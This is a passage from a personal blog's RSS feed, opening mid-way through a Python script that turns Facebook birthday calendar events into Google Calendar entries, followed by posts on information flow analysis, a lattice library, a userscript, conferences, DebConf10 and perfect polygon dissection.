class="li1"><div class="de1"><span class="st0">END:STANDARD</span></div></li><li class="li1"><div class="de1"><span class="st0">END:VTIMEZONE'</span><span class="st0">''</span></div></li><li class="li1"><div class="de1">day=<span class="kw3">datetime</span>.<span class="me1">timedelta</span><span class="br0">&#40;</span>1<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">fd = <span class="kw2">open</span><span class="br0">&#40;</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span>1<span class="br0">&#93;</span> <span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">    mylist=<span class="kw2">open</span><span class="br0">&#40;</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span>2<span class="br0">&#93;</span> <span class="br0">&#41;</span>.<span class="me1">readlines</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    nolist=<span class="kw2">False</span></div></li><li class="li1"><div class="de1"><span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">    nolist=<span class="kw2">True</span></div></li><li class="li1"><div class="de1">va = <span class="kw2">False</span></div></li><li class="li1"><div class="de1">person=<span class="st0">&quot;&quot;</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> line <span class="kw1">in</span> fd.<span class="me1">readlines</span><span class="br0">&#40;</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="st0">'BEGIN:VEVENT'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person=<span class="st0">'BEGIN:VEVENT<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'DTSTART'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        dateS=line.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">':'</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">'T'</span><span class="br0">&#41;</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        date=<span class="kw3">datetime</span>.<span class="me1">date</span><span class="br0">&#40;</span><span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span>0:4<span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span>4:6<span class="br0">&#93;</span><span class="br0">&#41;</span>,<span class="kw2">int</span><span class="br0">&#40;</span>dateS<span class="br0">&#91;</span><span class="nu0">6</span>:<span class="nu0">8</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        tomorrow=date+day</div></li><li class="li1"><div class="de1">        person+=<span class="st0">'DESCRIPTION:Imported from Facebook<span class="es0">\n</span>STATUS:CONFIRMED<span class="es0">\n</span>DTSTART;VALUE=DATE:%s<span class="es0">\n</span>DTEND;VALUE=DATE:%s<span class="es0">\n</span>TRANSP:TRANSPARENT<span class="es0">\n</span>'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>date.<span class="me1">strftime</span><span class="br0">&#40;</span><span class="st0">&quot;%Y%m%d&quot;</span><span class="br0">&#41;</span>,tomorrow.<span class="me1">strftime</span><span class="br0">&#40;</span><span class="st0">&quot;%Y%m%d&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'END:VEVENT'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person+=<span class="st0">'END:VEVENT<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> va:</div></li><li class="li1"><div class="de1">            <span class="kw1">print</span> person,</div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'SUMMARY'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        person+=line</div></li><li class="li1"><div class="de1">        va=nolist <span class="kw1">or</span> line <span class="kw1">in</span> mylist</div></li><li class="li1"><div class="de1">    <span class="kw1">elif</span> <span class="st0">'DURATION'</span> <span class="kw1">in</span> line:</div></li><li class="li1"><div class="de1">        <span class="kw1">pass</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        person+=line</div></li><li class="li1"><div class="de1"><span class="kw1">print</span> <span class="st0">'END:VCALENDAR'</span></div></li></ol></pre></div></div><br />
El cual convierte los eventos de <em>facebook</em> en eventos <em>lindos</em>. Se ejecuta así:<br />
<code>./fb2gc.py facebook.csv lista.txt > miscumples.csv<br />
</code> El parámetro <tt>lista.txt</tt> es optativo, si pasaste por el Paso 3.</p>
<h3>Paso 5</h3>
<p>El archivo generado se pueden importar en Google Calendar, en un calendario existente.<br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays3.png" alt="" /><br />
<img src="http://www.lucianobello.com.ar/blog/fbbirthdays4.png" alt="" /><br />
Y ahora, tengo agendados los cumpleaños de forma mucho más agradable.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/fb2gc/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>secure information flow analysis: my first steps</title>
		<link>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/</link>
		<comments>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/#comments</comments>
		<pubDate>Fri, 07 Jan 2011 23:40:06 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[information flow]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1451</guid>
		<description><![CDATA[During the last months and have been reading a lot about information flow analysis, with the remarkable Eduardo Bonelli&#8216;s guidance. Some months ago, as an exercise, I wrote two analyzers for a really short command set of Python (while, if and assign). Before remove that directory, it occurred to me that may exists a remote [...]]]></description>
			<content:encoded><![CDATA[<p>During the last months and have been reading a lot about information flow analysis, with the remarkable <a href="http://www.informatik.uni-trier.de/~ley/db/indices/a-tree/b/Bonelli:Eduardo.html">Eduardo Bonelli</a>&#8216;s guidance.</p>
<p>Some months ago, as an exercise, I wrote two analyzers for a really short command set of Python (<tt>while</tt>, <tt>if</tt> and <tt>assign</tt>). Before remove that directory, it occurred to me that may exists a remote possibility that someone might find it interesting. So here it is, with a quick and dirty introduction to secure information flow.</p>
<p>The goal, in short words, is to avoid that variables tagged as secret (high confidential level) doesn&#8217;t leak to public variables (low confidential level). This may happen in two ways:
<ul>
<li>Explicit: A high variable is assigned to a low variable</li>
<p><code>public:=secret</code></p>
<li>Implicit: A low variable content depends on the content of a high variable</li>
<p><code>if secret == true<br />
     then public:=true<br />
     else public:=false</code></ul>
<p>If there is no leak, we said that the code satisfies <strong>non-interference</strong> (<a href="https://secure.wikimedia.org/wikipedia/en/wiki/Non-interference_%28security%29">wikipedia link</a>). You can learn more about secure information flow analysis <a href="https://encrypted.google.com/search?q=secure+information+flow+analysi">in the web</a>. In my humble opinion, <a href="https://users.cs.fiu.edu/~smithg/papers/sif06.pdf">this</a> is a good introduction.</p>
<p>A typical way (certainly not the only one) to detect these leaks is with type systems. This was the approach in both analyzers. The first one is a sort of  an implementation of a <a href="http://www.lucianobello.com.ar/pif/volpano.ps">fundation paper, by Volpano et.al.</a>. I made an algorithm version (probably wrong) of the typing rules exposed in the paper. The code is <a href="http://www.lucianobello.com.ar/pif/denning-style.py">here</a>. This type of analyzers are called Denning-style, because Denning and Denning introduced those concepts in a <a href="http://www.lucianobello.com.ar/pif/denning-denning.pdf">1977 paper</a>.</p>
<p>The second analyzer (the code is <a href="http://www.lucianobello.com.ar/pif/huntsands.py">here</a>) is based on the formalism presented by Hunt and Sands in <a href="http://www.lucianobello.com.ar/pif/huntsands.pdf">this paper</a>. It&#8217;s a dynamic analyzer (Denning-style analyzers are static), which means that the non-interference can be broken in subprograms and still be good as a whole. This may be a little tricky. For example, this code is secure (the leak was overwritten with a 0) even when a subprogram (without the last line) is insecure:<br />
<code>public:=secret<br />
public:=0<br />
</code><br />
Anyway, that&#8217;s all for now. The analyzers are written in Python, using the <a href="http://www.python.org/doc//current/library/ast.html">Abstract Syntax Trees module</a> and <a href="https://code.google.com/p/python-lattice/">python-lattice</a> (yes, this is what that stupid library is for). If you want to play more, here is a <a href="http://www.lucianobello.com.ar/pif/pif.tar.gz">tarball with the code, the papers and few examples to analyze</a>.
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/secure-information-flow-analysis-my-first-steps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>operating elements of a finite lattice is now easy(?)</title>
		<link>http://www.lucianobello.com.ar/post/lattice/</link>
		<comments>http://www.lucianobello.com.ar/post/lattice/#comments</comments>
		<pubDate>Tue, 07 Dec 2010 01:13:28 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1444</guid>
		<description><![CDATA[In the context of my recent readings about Information Flow analysis, I wrote a little (tiny) Python module to operate elements of a finite lattice. Here is the code and usage tutorial. Comments are welcome. Patches to my broken English in the main page are very welcome.]]></description>
			<content:encoded><![CDATA[<p><img src="http://image.absoluteastronomy.com/images/encyclopediaimages/l/la/lattice_of_the_divisibility_of_60.svg.png" align="right" />In the context of my recent readings about Information Flow analysis, I wrote a little (tiny) Python module to operate elements of a finite lattice. Here is <a href="https://code.google.com/p/python-lattice/">the code and usage tutorial</a>. Comments are welcome. Patches to my broken English in the main page are <strong>very</strong> welcome.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/lattice/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>my first UserScript</title>
		<link>http://www.lucianobello.com.ar/post/my-first-userscript/</link>
		<comments>http://www.lucianobello.com.ar/post/my-first-userscript/#comments</comments>
		<pubDate>Thu, 25 Nov 2010 13:44:00 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[lectures & talks]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1440</guid>
		<description><![CDATA[Gracias a Germán Osella Massa y su charla Userscripts &#8211; ¡Porque la web no siempre tiene que ser como es! impartida en las 6ºJSL de Junín conocí más acerca de Greasemonkey. Esta simpática extensión de Firefox permite pos-procesar, JavaScript mediante, una página web. Después de pasar largos ratos recorriendo el repositorio de scripts, instalando y [...]]]></description>
			<content:encoded><![CDATA[<p>Gracias a Germán Osella Massa y su charla <i><a href="http://prezi.com/g1dkegcwstll/userscripts/">Userscripts &#8211; ¡Porque la web no siempre tiene que ser como es!</a></i> impartida en las <a href="http://jornadassl.agora.unnoba.edu.ar/index.php">6ºJSL de Junín</a> conocí más acerca de <a href="https://addons.mozilla.org/en-US/firefox/addon/748/">Greasemonkey</a>. Esta simpática extensión de Firefox permite pos-procesar, JavaScript mediante, una página web.</p>
<p>Después de pasar largos ratos recorriendo el repositorio de scripts, instalando y probando, quise escribir mis propios scripts. Mi primera idea era un reproductor embebido de archivos wav para Gmail, dado que necesito escuchar los mensajes de mi contestador automático ahí. Como para primer proyecto <a href="http://wiki.greasespot.net/Gmail">resultó un poco complicado</a>, me puse un objetivo más modesto. Así fue como publiqué <a href="http://userscripts.org/scripts/show/91182">mi primer UserScript</a>, un previewer de audio para Google Docs. Dado que no suelo escribir mucho JavaScript, comentarios y parches son bienvenidos.<br />
<img src="https://s3.amazonaws.com/uso_ss/12320/large.png?1290614188" alt="" /></p>
<p><strong>UPDATE Dec 8, 2010 @ 18:43 ART</strong>: En vez de <em>forkear</em> el proyecto de <a href="http://userscripts.org/users/leith">Leith Caldwell</a>, decidimos hacer un merge en el suyo, con más tradición. Así que ahora el script está disponible <a href="http://userscripts.org/scripts/show/87350">aquí</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/my-first-userscript/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>eventé, eventando y eventaré</title>
		<link>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/</link>
		<comments>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 14:47:58 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[free software]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1431</guid>
		<description><![CDATA[He estado (y lo estaré) de evento en evento. Así que acá va un pequeño resumen. Tal vez a alguien le sea útil o pueda lamentarse de no haber ido a aquellos que ya ocurrieron. Si tenés pensado ir a alguno en donde nos encontremos, no dudes en inscribirme para tomar una cerveza. En el [...]]]></description>
			<content:encoded><![CDATA[<p>He estado (y lo estaré) de evento en evento. Así que acá va un pequeño resumen. Tal vez a alguien le sea útil o pueda lamentarse de no haber ido a aquellos que ya ocurrieron. Si tenés pensado ir a alguno en donde nos encontremos, no dudes en inscribirme para tomar una cerveza.</p>
<p>En el pasado:</p>
<ul>
<li><a href="http://ar.pycon.org/2010/">PyCon Argentina 2010</a>: En Córdoba, 15 y 16 de Octubre. Es un evento cada vez más disfrutable. En particular, aprendí mucho de <a href="http://ar.pycon.org/2010/conference/schedule/event/59/">AMQP</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/78/">DBus</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/49/">sistemas de tipos</a>, <a href="http://ar.pycon.org/2010/conference/schedule/event/79/">defragmentación de memoria</a> y <a href="http://ar.pycon.org/2010/conference/schedule/event/73/">otras yerbas</a>.</li>
<li><a href="http://www.cacic2010.edu.ar">XVI Congreso Argentino de Ciencias de la Computación (CACIC 2010)</a>:  En Buenos Aires y Morón, del 18 al 22 de Octubre. Presenté <a href="http://www.citefa.gov.ar/si6/descargas/keystroke-dataset.pdf">mi primer paper</a> en el workshop arquitectura, redes y sistemas operativos (WARSO).</li>
</ul>
<p>En el futuro:</p>
<ul>
<li><a href="http://www.jornadasregionales.org/">10º Jornadas Regionales de Software Libre</a>: En San Luis, el 28, 29 y 30 de Octubre. Este año no podré asistir, pero se corre la bola de que va a estar muy muy buena.</li>
<li><a href="https://sites.google.com/site/devfest2010arg/">Google DevFest 2010 Argentina</a>: En Buenos Aires, 1 y 2 de Noviembre. Si bien la inscripción ya debería haber terminado, yo lo hice fuera de termino y parece que tengo la confirmación. El procedimiento requiere dar respuesta <a href="https://developerquiz.appspot.com/">un breve quiz</a>.</li>
<li><a href="http://www.bsdday.org.ar/">BSDday Argentina 2010</a> (una web muy geek): En Buenos Aires, 5 y 6 de Noviembre. Me inscribí hace meses y no voy a poder ir (por la razón que se comenta en el siguiente item). El año paso la pasé muy bien y este año las charlas realmente prometen.</li>
<p><a href="http://jornadassl.agora.unnoba.edu.ar/"><img style="margin: 2px;" src="http://jornadassl.agora.unnoba.edu.ar/banners/banner3.jpg" alt="" width="109" height="79" align="right" /></a></p>
<li><a href="http://jornadassl.agora.unnoba.edu.ar/">6º Jornadas de Software Libre</a>: En Junín, 5 y 6 de Noviembre. Hablaré <a href="http://jornadassl.agora.unnoba.edu.ar/disertantes.php#lbello">Linux Capabilities y Hardening</a>. Muchísimas gracias a los organizadores por invitarme. El programa se ve muy interesante y será una excelente oportunidad para reencontrarme con amigos y visitar la ciudad.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/evente-eventando-y-eventare/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>the king is obsolete-ish. long live the king</title>
		<link>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/</link>
		<comments>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 18:48:05 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[life]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1396</guid>
		<description><![CDATA[Ya hace un par de semanas de que tuve la oportunidad de cambiar mi Thinkpad X60 (1706-8DU) por una Thinkpad X200 (7454-RF2), la que ya se encuentra completamente funcional y migrada. La instalación fue relativamente sencilla y la velocidad de computo con su antecesora es notable (aunque mi madre opine que ambas computadoras son iguales). [...]]]></description>
			<content:encoded><![CDATA[<p>Ya hace un par de semanas de que tuve la oportunidad de cambiar mi <a href="http://www.reviewgist.com/compare/lenovo-thinkpad-x60-17068du">Thinkpad X60 (1706-8DU)</a> por una <a href="http://outlet.lenovo.com/laptops/thinkpad/x-series/7454rf2.html ">Thinkpad X200 (7454-RF2)</a>, la que ya se encuentra completamente funcional y migrada. La instalación fue relativamente sencilla y la velocidad de computo con su antecesora es notable (aunque mi madre opine que ambas computadoras son <em>iguales</em>).<br />
A continuación el correspondiente pase de mando:<br />
<center><a href="/blog/laptopsX2.JPG"><img src="/blog/_laptopsX2.JPG" alt="" /></a></center><br />
Mi aún-no-tan-vieja laptop ha tenido una jubilación algo prematura y está a la búsqueda desesperada de un entusiasta geek a quien servir. Si estas interesado, visita <a href="http://www.lucianobello.com.ar/vendo-x60/">www.lucianobello.com.ar/vendo-x60/</a> para más detalles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/the-king-is-obsolete-ish-long-live-the-king/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>DebConf10</title>
		<link>http://www.lucianobello.com.ar/post/debconf10/</link>
		<comments>http://www.lucianobello.com.ar/post/debconf10/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 16:59:38 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[journeys & traveling]]></category>
		<category><![CDATA[lectures & talks]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1378</guid>
		<description><![CDATA[Este es un delayed post, dado que DebConf10 New York City terminó hace 3 días. Aunque más tarde de lo esperado, no quería dejar pasar la oportunidad de comentar lo bien que la pasé. Siempre es agradable encontrarse con amigos. Si bien pude dedicar mucho tiempo al security team (generé 3 nuevos DSA aunque, de [...]]]></description>
			<content:encoded><![CDATA[<p>Este es un delayed post, dado que <a href="http://debconf10.debconf.org/">DebConf10 New York City</a> terminó hace 3 días. Aunque más tarde de lo esperado, no quería dejar pasar la oportunidad de comentar lo bien que la pasé. Siempre es agradable encontrarse <a href="http://wiki.debconf.org/wiki/DebConf10/GroupPhoto">con amigos</a>.<br />
Si bien pude dedicar mucho tiempo al security team (generé 3 nuevos <a href="http://www.debian.org/security/2010/">DSA</a> aunque, de momento, se ha publicado <a href="http://www.debian.org/security/2010/dsa-2090">uno solo</a>), me quedaron muchísimas cosas pendientes por hacer. Además tengo muchas nuevas ideas que me gustaría concretar durante el próximo año.</p>
<p>Entre los pendientes está el de subir fotos, para variar. Así que stay tunned! Para los ansiosos, hay publicadas fotos de otros asistentes <a href="http://www.flickr.com/photos/tags/debconf10/">aquí</a>. También están disponibles las <a href="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/high/">versiones preliminares de las charlas</a>, donde se me puede ver dado una Lightning Talk, acerca de un prototipo para documentar workflows que se me ocurrió hace unos meses (minuto 10:40 de <a href="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/low/1580_1580_Lightning_Talks.ogv">este video</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/debconf10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://meetings-archive.debian.net/pub/debian-meetings/2010/debconf10/low/1580_1580_Lightning_Talks.ogv" length="112459087" type="video/ogg" />
		</item>
		<item>
		<title>/home/duijvestijn</title>
		<link>http://www.lucianobello.com.ar/post/homeduijvestijnen/</link>
		<comments>http://www.lucianobello.com.ar/post/homeduijvestijnen/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:17:45 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[sorry for my english]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1368</guid>
		<description><![CDATA[I have a new guest in my apartment. Give a warm welcome to the Adrianus Johannes Wilhelmus Duijvestijn&#8216;s spirit. Thanks a lot to Bartu and Rezlaj, who carried out the necessary seance that make this possible. The complete photo set is here. If you do not have the slightest idea of what I&#8217;m talking about, [...]]]></description>
			<content:encoded><![CDATA[<p>I have a new guest in my apartment. Give a warm welcome to the <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a>&#8216;s spirit.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn1.jpg"/></center></p>
<p>Thanks a lot to <a href="http://www.piumacharles.com/">Bartu and Rezlaj</a>, who carried out the necessary seance that make this possible.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn2.jpg"/></center></p>
<p>The complete photo set is <a href="/fotos/duijvestijn/">here</a>. If you do not have the slightest idea of what I&#8217;m talking about, take a look to <a href="http://en.wikipedia.org/wiki/Squaring_the_square#Simple_squared_squares">Wikipedia</a> or <a href="/post/diseccion_perfecta/">my previous post (Spanish only)</a>.</p>
<p><small>(esta entrada también <a href="/post/homeduijvestijnes/">está disponible en Español</a>)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/homeduijvestijnen/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>/home/duijvestijn</title>
		<link>http://www.lucianobello.com.ar/post/homeduijvestijnes/</link>
		<comments>http://www.lucianobello.com.ar/post/homeduijvestijnes/#comments</comments>
		<pubDate>Tue, 13 Jul 2010 17:17:03 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[life]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[planeta]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1373</guid>
		<description><![CDATA[Tengo un nuevo huésped en mi departamento. Denle una cálida bienvenida al espíritu de Adrianus Johannes Wilhelmus Duijvestijn. Muchísimas gracias a Bartu y a Rezlaj, quienes llevaron a cabo la sesión de espiritismo necesaria para hacer esto posible. Todas las fotos están disponibles aquí. Si no tienes la menor idea de a qué se refiere [...]]]></description>
			<content:encoded><![CDATA[<p>Tengo un nuevo huésped en mi departamento. Denle una cálida bienvenida al espíritu de <a href="http://www.squaring.net/history_theory/duijvestijn.html">Adrianus Johannes Wilhelmus Duijvestijn</a>.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn1.jpg"/></center></p>
<p>Muchísimas gracias a <a href="http://www.piumacharles.com/">Bartu y a Rezlaj</a>, quienes llevaron a cabo la sesión de espiritismo necesaria para hacer esto posible.</p>
<p><center><img src="/fotos/duijvestijn/duijvestijn2.jpg"/></center></p>
<p>Todas las fotos están disponibles <a href="/fotos/duijvestijn/">aquí</a>. Si no tienes la menor idea de a qué se refiere esto, échale un ojo a la <a href="http://en.wikipedia.org/wiki/Squaring_the_square#Simple_squared_squares">Wikipedia (solo en inglés)</a> o a <a href="/post/diseccion_perfecta/">mi entrada anterior</a>.</p>
<p><small>(this post is <a href="/post/homeduijvestijnes/">available in English too</a>)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/homeduijvestijnes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>disección perfecta de polígonos for dummies</title>
		<link>http://www.lucianobello.com.ar/post/diseccion_perfecta/</link>
		<comments>http://www.lucianobello.com.ar/post/diseccion_perfecta/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 19:23:29 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[favorites]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[procrastination]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1326</guid>
		<description><![CDATA[Por razones que explicaré en una próxima entrada de este mismo blog, últimamente he estado divagando alrededor del concepto de la disección perfecta de polígonos. Y es este divague el que me gustaría compartir con ustedes en este (demasiado) extenso post. Empezando por el principio, ¿qué es un polígono? En términos wikipediables: un polígono es [...]]]></description>
			<content:encoded><![CDATA[<p>Por razones que explicaré en una próxima entrada de este mismo blog, últimamente he estado divagando alrededor del concepto de la <strong>disección perfecta de polígonos</strong>. Y es este divague el que me gustaría compartir con ustedes en este (demasiado) extenso post.</p>
<p>Empezando por el principio, ¿qué es un <strong>polígono</strong>? En <a href="http://es.wikipedia.org/wiki/Polígono">términos wikipediables</a>:</p>
<blockquote><p>un polígono es una figura geométrica formada por segmentos consecutivos no alineados, llamados lados.</p></blockquote>
<p>Nos gusta que los segmentos no estén alineados, porque así forman ángulos, que es parte de la <a href="http://es.wikipedia.org/wiki/Pol%C3%ADgono#Etimolog.C3.ADa">definición etimológica</a>. Por otro lado, el hecho de que los segmentos sean consecutivos, garantiza que la figura quede cerrada. En particular, nos vamos a centrar en polígonos que sean:</p>
<ul>
<li>planos. Es decir, bidimensionales, de lo que se pueden dibujar en un papel.</li>
<li>simples. Es decir, que sus lados no se corten entre sí.</li>
<li>convexos. Es decir, si al atravesarlo con cualquier recta lo corta en no más de dos puntos.</li>
<li>con hasta un máximo de 4 lados. Es decir, triángulos y cuadriláteros</li>
</ul>
<p>En definitiva, vamos a referirnos a figuras sencillas donde algunas regularidades nos sean agradables, como el hecho de que los lados sean del mismo tamaño o que tenga algunos ángulos iguales.</p>
<p>Una vez acotado el universo de polígonos vayamos a la siguiente parte del asunto: <strong>la disección</strong>. Esta idea es bastante intuitiva. El objetivo es tomar un polígono y subdividirlo en otros. A estos <em>otros</em> los vamos a llamar <em>elementos</em>, dado que forman y son parte del polígono grande inicial. La cantidad de elementos es el <em>orden</em> de la disección. Un factor interesante que vamos a agregar a esta definición informal es que los elementos solo pueden variar en su proporción u orientación, por ejemplo que sean todos cuadrados o todos triángulos rectángulos, pero no mezclados.</p>
<p><img src="http://www.quilt-lovers-guide.com/images/QuarterSquareTrianglesBlock.jpg" alt="" width="150" height="153" align="right" /></p>
<p>Vamos a por un ejemplo inicial sencillo. Si tomamos un cuadrado, podemos dividirlo en cuatro triángulos isósceles rectángulos del mismo tamaño, como en la figura de la derecha . Así tenemos un <em>polígono interesante</em> (el cuadrado) que puede ser dividido en cuatro <em>polígonos interesantes</em> (los triángulos rectángulos isósceles). Sin un gran esfuerzo de imaginación, también podríamos dividir un cuadrado en 4 cuadrados (pero es una imagen que evitaremos, que me hace acordar a una empresa monopolizadora).</p>
<p>Así obtenemos disecciones de polígonos, que a primera vista, no parecen ninguna genialidad. Sin embargo, algunas ideas interesantes empiezan a surgir. Por ejemplo, dado que tanto el contenedor como los elementos son <em>interesantes</em>, la noción recursiva aflora. Otros conceptos llamativos, como el de  <a href="http://es.wikipedia.org/wiki/Teselaci%C3%B3n#Teselados_regulares">teselado regular</a>, <a href="http://mathworld.wolfram.com/TrianglePacking.html">temas de empaquetamiento</a> o <a href="http://mathworld.wolfram.com/MrsPerkinssQuilt.html">el problema de Mrs. Perkins&#8217;s Quilt </a>pueden desprenderse desde este punto.</p>
<p>Nosotros vamos a tomar otro camino al agregar el último ingrediente de esta receta: la disección <strong>perfecta</strong>, que pide que los elementos sean todos de distinto tamaño. Acá se pone más interesante y mucho menos obvio. Volvamos a nuestro ejemplo de dividir un cuadrado en triángulos rectángulos isósceles, pero esta vez hagamos una disección perfecta. A continuación, la propuesta de <a href="http://at.yorku.ca/t/o/p/c/16.htm">Arthur Stone</a>:</p>
<p><center><img align=center src="http://www.squaring.net/tri/gfx/x7-7PA.jpg" alt="" width="300" height="300" /></center></p>
